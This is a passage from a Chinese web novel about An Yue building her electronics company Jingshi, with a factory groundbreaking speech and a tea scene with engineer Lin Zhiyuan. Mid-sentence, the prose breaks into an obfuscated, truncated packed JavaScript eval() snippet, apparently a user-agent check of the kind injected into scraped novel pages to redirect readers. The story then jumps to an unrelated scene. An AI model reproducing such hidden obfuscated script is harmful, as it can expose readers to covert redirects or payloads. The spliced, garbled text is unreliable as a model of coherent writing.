“这块三百亩的地,明年这个时候,会建起六栋厂房,一栋研发大楼,一栋员工宿舍。后年,还会有更多。” 台下安静下来。 安玥继续说,“有人说,精时发展得太快了。快得让人不敢相信。但我想说,这才刚刚开始。” 她看着台下那些人,“三年后,精时要成为国内电子行业的领头羊。五年后,要让全世界都知道,中国有个精时。” 掌声响起来。 安玥走回位置,拿起那把铁锹。 领导们一起铲土,闪光灯噼里啪啦。 仪式结束,人群散去。安玥站在那块空地上,看着远处。 王丽娟走过来,站在她旁边。 “安玥,回去吧。风大。” 安玥摇摇头,“再站一会儿。” 王丽娟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不要把我想象成小说里的苦情男二,我做这一切不是为了你。” 安玥看着他。 林知远靠在椅背上,看着头顶的树叶。 “安玥,你知道我最怕什么吗?” “什么?” “我最怕你内疚。怕你觉得欠我的,怕你因为这个对我好,怕你——” 他没说下去,轻轻叹了口气。 “我做的这些,是因为我自己想做。搞技术是我喜欢的,研究科技是我自己想研究的,想做什么都是我自己选的。” 他指了指面前那台仪器。 “这东西,就算没有你,我也会做出来。只不过可能晚几年,可能在别的地方,可能没这么顺利。” 安玥的眼睛有点酸。 林知远看着她,“安玥,你给了我这个机会。七个人挤在小楼里的时候,是你拍板说搞研发。我提的那些方案,别人看不懂,是你签字批钱。研究所成立的时候,是你顶着压力给我最好的条件。” “没有你,就没有今天的精时,也没有今天的我。” 安玥正想说什么,林知远打断她。 “所以你别内疚。我做这些,是因为我想做。” 他坦荡地看着她,心里却悄悄说了句:“是因为你值得。” 林知远又给自己倒了杯茶,举起来。 “来,敬你,敬精时,敬咱们一起走过的这几年。” 安玥笑了,她端起杯子跟他碰了一下。 “好。” 两人把茶干了。 林知远放下杯子,站起来。 “走吧,你刚好开车把我送回去。明天还有事。” 安玥也站起来。 两人往外走。 月光很亮,把前路照得清清楚楚。